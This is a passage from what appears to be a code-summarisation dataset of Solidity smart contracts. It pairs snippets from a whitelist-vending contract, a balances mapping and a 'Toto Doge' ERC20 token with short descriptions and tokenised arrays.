deadline_, uint256 price_) external onlyAuthorized(contract_, msg.sender) { require(bytes(title_).length > 0, "You must specify a Title!"); require(uint256(deadline_) > block.timestamp, "Already expired timestamp!"); contractToWLVendingItems[contract_].push( WLVendingItem( title_, imageUri_, projectUri_, description_, amountAvailable_, 0, deadline_, price_ ) ); emit WLVendingItemAdded(contract_, title_, imageUri_, projectUri_, description_, amountAvailable_, deadline_, price_); } function modifyWLVendingItem(address contract_, uint256 index_, WLVendingItem memory WLVendingItem_) external onlyAuthorized(contract_, msg.sender) { WLVendingItem memory _item = contractToWLVendingItems[contract_][index_]; require(bytes(_item.title).length > 0, "This WLVendingItem does not exist!"); require(WLVendingItem_.amountAvailable >= _item.amountPurchased, "Amount Available must be >= Amount Purchased!"); contractToWLVendingItems[contract_][index_] = WLVendingItem_; emit WLVendingItemModified(contract_, _item, WLVendingItem_); } function deleteMostRecentWLVendingItem(address contract_) external onlyAuthorized(contract_, msg.sender) { uint256 _lastIndex = contractToWLVendingItems[contract_].length - 1; WLVendingItem memory _item = contractToWLVendingItems[contract_][_lastIndex]; require(_item.amountPurchased == 0, "Cannot delete item with already bought goods!"); contractToWLVendingItems[contract_].pop(); emit WLVendingItemRemoved(contract_, msg.sender, _item); } // Core Function of WL Vending (User) function purchaseWLVendingItem(address contract_, uint256 index_) external { // Load the WLVendingItem to Memory WLVendingItem memory _item = contractToWLVendingItems[contract_][index_]; // Check the necessary requirements to purchase require(bytes(_item.title).length > 0, "This WLVendingItem does not exist!"); require(_item.amountAvailable > _item.amountPurchased, "No more WL remaining!"); require(_item.deadline > block.timestamp, "Passed deadline!"); require(!contractToWLPurchased[contract_][index_][msg.sender], "Already purchased!"); require(IERC20(contract_).balanceOf(msg.sender) > _item.price, "Not enough tokens!"); // Pay for the WL IERC20(contract_).transferFrom( msg.sender, _getTreasury(contract_), _item.price); // Add the address into the WL List contractToWLPurchased[contract_][index_][msg.sender] = true; contractToWLPurchasers[contract_][index_].push(msg.sender); // Increment Amount Purchased contractToWLVendingItems[contract_][index_].amountPurchased++; emit WLVendingItemPurchased(contract_, index_, msg.sender, _item); } // Here be the core logic of CMS html element generation // function getWLVendingItemsAll(address contract_) external view returns (WLVendingItem[] memory) { return contractToWLVendingItems[contract_]; } function getWLVendingItemsLength(address contract_) external view returns (uint256) { return contractToWLVendingItems[contract_].length; } function getWLVendingItemsPaginated(address contract_, uint256 start_, uint256 end_) external view returns (WLVendingItem[] memory) { uint256 _arrayLength = end_ - start_ + 1; WLVendingItem[] memory _items = new WLVendingItem[] (_arrayLength); uint256 _index; for (uint256 i = 0; i < _arrayLength; i++) { _items[_index++] = contractToWLVendingItems[contract_][start_ + i]; } return _items; } }
Database Entry for Project Infos
function ownerSetContractToProjectInfo(address contract_, string calldata projectName_, string calldata tokenImage_) external onlyOwner { contractToProjectInfo[contract_] = ProjectInfo(projectName_, tokenImage_); emit ProjectInfoPushed(contract_, msg.sender, projectName_, tokenImage_); }
13,688,748
[ 1, 4254, 3841, 364, 5420, 657, 5075, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3410, 694, 8924, 774, 4109, 966, 12, 2867, 6835, 67, 16, 533, 745, 892, 7010, 565, 17234, 67, 16, 533, 745, 892, 1147, 2040, 67, 13, 3903, 1338, 5541, 288, 203, 3639, 6835, 774, 4109, 966, 63, 16351, 67, 65, 273, 5420, 966, 12, 4406, 461, 67, 16, 1147, 2040, 67, 1769, 203, 3639, 3626, 5420, 966, 7621, 329, 12, 16351, 67, 16, 1234, 18, 15330, 16, 17234, 67, 16, 1147, 2040, 67, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x625465f88cEff525b713d4e11F6ab2945d869FFF/sources/contracts/RESC.sol
Mapping to track user balances
mapping(address => uint) public balances;
1,850,514
[ 1, 3233, 358, 3298, 729, 324, 26488, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 2254, 13, 1071, 324, 26488, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.6.3; // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract TotoDoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; uint256 public _totalSupply; string public _name = "Toto Doge"; string public _symbol = "tDOGE"; uint256 public _total = 1000000000 * 10**18; constructor() public { _mint(_msgSender(), _total); emit Transfer(address(0), _msgSender(), _total); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance.sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, 